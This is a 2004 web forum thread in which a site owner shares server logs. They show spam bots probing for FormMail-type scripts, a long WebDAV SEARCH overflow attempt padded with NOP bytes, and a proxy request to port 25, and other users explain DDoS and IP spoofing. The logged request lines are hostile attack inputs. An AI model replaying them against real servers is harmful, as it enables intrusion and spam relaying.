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  1. #1
    SitePoint Evangelist
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    Can IP addresses be masquaraded ?

    Hi,

    Noticed a lot of "404" messages in the web server logs, and found the culprits:

    Code:
     199.105.144.4 - - [03/Jul/2004:22:01:31 -0400] "POST /cgi-bin/friend.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     62.23.87.51 - - [03/Jul/2004:22:01:32 -0400] "POST /cgi-bin/formmail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     153.110.132.10 - - [03/Jul/2004:22:01:38 -0400] "POST /cgi-bin/contact.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     193.255.207.252 - - [03/Jul/2004:22:01:40 -0400] "POST /cgi-bin/mailform.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     65.17.126.101 - - [03/Jul/2004:22:01:45 -0400] "POST /cgi-bin/formmail.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     66.103.44.115 - - [03/Jul/2004:22:01:46 -0400] "POST /cgi-bin/FormMail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     81.19.98.103 - - [03/Jul/2004:22:01:49 -0400] "POST /mail.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     66.99.49.115 - - [03/Jul/2004:22:01:49 -0400] "POST /cgi-bin/fmail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     200.68.117.221 - - [04/Jul/2004:09:46:58 -0400] "POST /cgi-bin/contact.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     168.10.46.250 - - [04/Jul/2004:09:46:59 -0400] "POST /cgi-bin/formmail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     207.44.198.13 - - [04/Jul/2004:09:47:11 -0400] "POST /cgi-bin/contact.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     208.185.16.39 - - [04/Jul/2004:09:47:12 -0400] "POST /cgi-bin/mailform.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     207.44.202.19 - - [04/Jul/2004:09:47:13 -0400] "POST /cgi-bin/formmail.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     216.123.219.194 - - [04/Jul/2004:09:47:15 -0400] "POST /cgi-bin/FormMail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     65.16.119.34 - - [04/Jul/2004:09:47:16 -0400] "POST /mail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     12.153.224.31 - - [04/Jul/2004:09:47:31 -0400] "POST /cgi-bin/fmail.pl HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     216.11.71.2 - - [04/Jul/2004:09:47:47 -0400] "POST /cgi-bin/fmail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     63.239.116.254 - - [04/Jul/2004:09:47:48 -0400] "POST /cgi-bin/form.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     212.47.27.186 - - [04/Jul/2004:09:47:53 -0400] "POST /cgi/formmail HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     209.137.143.222 - - [04/Jul/2004:09:47:58 -0400] "POST /cgi-bin/mail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     150.176.202.4 - - [04/Jul/2004:09:47:59 -0400] "POST /formmail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     148.244.78.196 - - [04/Jul/2004:09:48:00 -0400] "POST /cgi-bin/feedback.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     80.65.116.245 - - [04/Jul/2004:09:48:04 -0400] "POST /contact.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     66.193.160.126 - - [04/Jul/2004:09:48:08 -0400] "POST /form-bin/deliver HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     217.207.136.226 - - [04/Jul/2004:09:48:11 -0400] "POST /cgi-bin/cgiemail/contact.txt HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     12.104.198.106 - - [04/Jul/2004:09:48:12 -0400] "POST /cgi-bin/form.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     24.43.81.194 - - [04/Jul/2004:09:48:20 -0400] "POST /cgi-bin/mailform.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     208.185.16.39 - - [04/Jul/2004:09:48:23 -0400] "POST /cgi-bin/feedback.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     216.124.224.123 - - [04/Jul/2004:09:48:30 -0400] "POST /cgi-bin/mail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     193.224.42.8 - - [04/Jul/2004:09:48:31 -0400] "POST /cgi-bin/sender.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     200.74.140.138 - - [04/Jul/2004:09:48:33 -0400] "POST /cgi-bin/mailer/mailer.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     12.222.37.30 - - [04/Jul/2004:09:48:59 -0400] "POST /cgi-bin/ezformml.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     67.69.34.194 - - [04/Jul/2004:09:49:01 -0400] "POST /cgi-bin/email.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     216.23.208.220 - - [04/Jul/2004:09:49:17 -0400] "POST /cgi-bin/formmail HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     66.43.173.226 - - [04/Jul/2004:09:49:17 -0400] "POST /cgi-bin/npl_mailer.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     208.18.144.13 - - [04/Jul/2004:09:49:18 -0400] "POST /cgi-bin/FormMail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     200.57.45.30 - - [04/Jul/2004:09:49:19 -0400] "POST /cgi-bin/email.pl HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     193.172.150.2 - - [04/Jul/2004:09:49:22 -0400] "POST /cgi-bin/BFormMail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     213.86.99.105 - - [04/Jul/2004:09:49:27 -0400] "POST /cgi-bin/contactus.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     216.60.21.4 - - [04/Jul/2004:09:49:27 -0400] "POST /cgi-bin/mailer.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     195.167.228.84 - - [04/Jul/2004:09:49:28 -0400] "POST /cgi-bin/friends.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     213.115.80.115 - - [04/Jul/2004:09:49:35 -0400] "POST /formmail.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     24.68.178.225 - - [04/Jul/2004:09:49:36 -0400] "POST /cgi-bin/mailer.pl HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     209.177.203.54 - - [04/Jul/2004:09:49:38 -0400] "POST /cgi-bin/tellafriend.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     206.162.138.4 - - [04/Jul/2004:09:49:47 -0400] "POST /cgi/contact.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     200.83.0.201 - - [04/Jul/2004:09:49:48 -0400] "POST /cgi/FormMail.pl HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     207.127.0.2 - - [04/Jul/2004:09:49:56 -0400] "POST /cgi-bin/mailto.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     80.205.205.84 - - [04/Jul/2004:09:49:57 -0400] "POST /cgi-bin/af.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     64.65.191.117 - - [04/Jul/2004:09:49:59 -0400] "POST /cgi-bin/cgiemail/mailtemp.txt HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     63.239.116.254 - - [04/Jul/2004:09:49:59 -0400] "POST /dp_tellafriend/scripts/tellafriend.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     63.237.47.170 - - [04/Jul/2004:09:50:06 -0400] "POST /cgi-bin/tell/tell.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     193.172.150.2 - - [04/Jul/2004:09:50:07 -0400] "POST /cgi-bin/mailto.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     66.72.186.146 - - [04/Jul/2004:09:50:15 -0400] "POST /cgi-bin/referral.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     149.201.101.250 - - [04/Jul/2004:09:50:19 -0400] "POST /cgi-bin/tellafriend.pl HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     65.115.15.44 - - [04/Jul/2004:09:50:34 -0400] "POST /email.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     207.127.1.2 - - [04/Jul/2004:09:50:51 -0400] "POST /cgi-bin/contactus.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     63.228.236.3 - - [04/Jul/2004:09:50:56 -0400] "POST /cgi-bin/anymail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     209.183.136.159 - - [04/Jul/2004:09:51:07 -0400] "POST /cgi-bin/chfeedback.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     69.167.143.172 - - [04/Jul/2004:09:51:19 -0400] "POST /cgi-bin/af.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     24.68.178.225 - - [04/Jul/2004:09:51:28 -0400] "POST /cgi-bin/asomail.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     194.118.66.54 - - [04/Jul/2004:09:51:28 -0400] "POST /formmail/formmail.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     207.248.159.253 - - [04/Jul/2004:09:51:29 -0400] "POST /cgi-bin/formtomail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     208.185.16.39 - - [04/Jul/2004:09:51:29 -0400] "POST /cgi-bin/mailto HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     12.14.65.2 - - [04/Jul/2004:09:51:35 -0400] "POST /cgibin/FormMail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     168.10.46.250 - - [04/Jul/2004:09:51:38 -0400] "POST /cgi-bin/sendmail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     80.205.205.84 - - [04/Jul/2004:09:51:39 -0400] "POST /cgi-bin/form_processor.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     206.111.246.5 - - [04/Jul/2004:09:51:42 -0400] "POST /cgi-bin/webmailer.exe HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     212.70.169.62 - - [04/Jul/2004:09:51:49 -0400] "POST /cgi-bin/formmail/formmail.pl HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     217.68.109.5 - - [04/Jul/2004:09:51:55 -0400] "POST /cgi-bin/contact HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     200.83.0.201 - - [04/Jul/2004:09:51:55 -0400] "POST /cgi-bin/yform.cgi HTTP/1.1" 404 - "http://allesind.com.au/" "-"
     216.157.225.36 - - [04/Jul/2004:09:51:56 -0400] "POST /cgi-bin/cgiemail HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     209.2.108.2 - - [04/Jul/2004:09:51:56 -0400] "POST /cgi/tell/tell.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     65.201.236.68 - - [04/Jul/2004:09:52:07 -0400] "POST /cgi-bin/nether-mail.pl HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     209.184.108.162 - - [04/Jul/2004:09:52:10 -0400] "POST /cgi/formmail.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     68.62.11.143 - - [04/Jul/2004:09:54:13 -0400] "POST /cgi-bin/formmail HTTP/1.0" 404 - "http://allesind.com.au/" "-"
     129.41.90.70 - - [04/Jul/2004:10:00:48 -0400] "POST /email.cgi HTTP/1.0" 404 - "http://allesind.com.au/" "-"
    Obviously people trying to find security holes in 'formmail and other email, no doubt in the hope of sending out spam.

    Considering that a significant number of these appeared within a short time interval (a few seconds for many), can the IP addresses be masquaraded somehow ?? It's just more than comincidence that so many attempts were very close, so I'm wondering if the web server logs are showing the _real_ IP address ??

    I'd need to know this before going off ranting to the ISP's of these people. It may do little good, but "squeky wheels" do eventually get oiled.

    Out of the 76 entries, there were only 7 IP addresses that appeared twice, so there were 63 unique IP addresses.

    I just find it hard to believe that so many different people could be trying the same (type) of thing, in such a short time space (for the 4th July, in 14 minutes, there were 68 attempts).

    Thanks,

    Peter

  2. #2
    SitePoint Enthusiast probonic's Avatar
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    Quote Originally Posted by jehoshua
    I just find it hard to believe that so many different people could be trying the same (type) of thing, in such a short time space (for the 4th July, in 14 minutes, there were 68 attempts).
    It is more than likely that the traffic you're seeing is part of a DDoS (albeit quite a small one). A Distributed Denial of Service attack is where several insecure machines have been compromised and been programmed to send the requests at the same time.

    DDoS attacks are, unfortunately, pretty much impossible to completely block, as there is no way of filtering out the attacking IP addresses from the genuine visitors.
    Phil Evans - CEO, Probonic Networks
    pevans@probonic.com
    http://www.probonic.com
    AIM: probonic | MSN: support@probonic.com | T: +44 07779992043

  3. #3
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    Hi,

    Quote Originally Posted by probonic
    It is more than likely that the traffic you're seeing is part of a DDoS (albeit quite a small one). A Distributed Denial of Service attack is where several insecure machines have been compromised and been programmed to send the requests at the same time.
    Maybe it had something to do with Independance day ??

    Quote Originally Posted by probonic
    DDoS attacks are, unfortunately, pretty much impossible to completely block, as there is no way of filtering out the attacking IP addresses from the genuine visitors.
    Do you think there is any "benefit" to reporting this back to the ISP's ?

    I know when I send my firewall logs off to our own ISP, they do contact the people concerned, but then we are all dedicated IP's, so it's easy to trace.

    Peter

  4. #4
    SitePoint Enthusiast probonic's Avatar
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    Quote Originally Posted by jehoshua
    Do you think there is any "benefit" to reporting this back to the ISP's ?
    If you mean contacting the ISPs owning all those IP addresses in the logs, I personally wouldn't go to the trouble, especially considering how little traffic it is. If you mean sending those logs to the server's ISP, it can't hurt. There might be something they can do.
    Phil Evans - CEO, Probonic Networks
    pevans@probonic.com
    http://www.probonic.com
    AIM: probonic | MSN: support@probonic.com | T: +44 07779992043

  5. #5
    SitePoint Evangelist
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    Hi Phil,

    Thanks, I'll do that.

    Peter

  6. #6
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    Hi,

    Now some "414" messages from another site; here is just one entry:

    67.114.45.135 - - [03/Jul/2004:02:47:31 -0400] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x0
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    x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
    \x90\x90\x90\x90\x90\x90\x90" 414 271 "-" "-"
    1. What are they trying to do ?
    2. Should I 'disable' the SEARCH capability, or should I disbale it ?

    Here is a list of the offending IP's

    65.95.6.242
    67.114.45.135
    67.115.244.213
    67.166.110.46
    67.167.114.22
    67.170.197.212
    67.171.126.164
    67.175.40.23
    67.175.48.49
    67.175.48.49
    67.23.33.57
    67.243.129.125
    67.64.27.37
    67.68.193.129
    67.69.148.67
    67.71.127.56
    67.84.8.113
    67.86.48.134
    67.87.195.134
    67.96.70.191
    67.96.70.192
    67.97.59.142
    Also, looks like someone was trying to get at port 25

    67.234.73.45 - - [07/Jul/2004:13:40:04 -0400] "POST http://67.234.73.45:25/ HTTP/1.1" 405 240 "-" "-"
    Are there any good tools to analyse web server logs and give me a summary of "naughty" visitors ? It takes quite a while looking through manually.

    Thanks,

    Peter

  7. #7
    SitePoint Addict Hero Doug's Avatar
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    Even if you do find the IP's that are "naughty" a good hacker will be able to spoof their IP address and send you bulk, fake IP addresses.

    You could end up with a big list.

  8. #8
    SitePoint Evangelist
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    Hi Doug,

    Quote Originally Posted by Hero Doug
    Even if you do find the IP's that are "naughty" a good hacker will be able to spoof their IP address and send you bulk, fake IP addresses.

    You could end up with a big list.
    Yes, only yesterday was I aware of this after reading the article at:

    http://secinf.net/info/misc/tricks.html

    where the use of proxy servers can easily spoof an IP address.

    Thanks,

    Peter

  9. #9
    My precious!!! astericks's Avatar
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    want to read a nice story about DDoS attacks?

    http://www.grc.com/dos/grcdos.htm

  10. #10
    SitePoint Evangelist
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    Hi,

    Quote Originally Posted by astericks
    want to read a nice story about DDoS attacks?

    http://www.grc.com/dos/grcdos.htm
    Thanks, interesting story (I don't know about "nice") alright. Well, it seems people who do this sort of thing consider themselves 'smart', however they forget that they are nothing more than criminals. They will get caught, if not in this life, certainly in the next.

    Peter

  11. #11
    SitePoint Evangelist
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    Hi,

    As I'm now receiving quite a few of this type of thing on several websites, is there something that I can do.

    1. Assuming the IP addresses are spoofed, then it seems useless/pointless and a waste of time to send the server logs to the ISP to lodge a complaint. Is there any methods that I can employ, to find out the real IP addresses and then ban them or complain back to their ISP's ??

    2. The "414" messages that are REALLY long and start like this:

    67.96.70.191 - - [01/Jul/2004:12:42:31 -0400] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\ .....
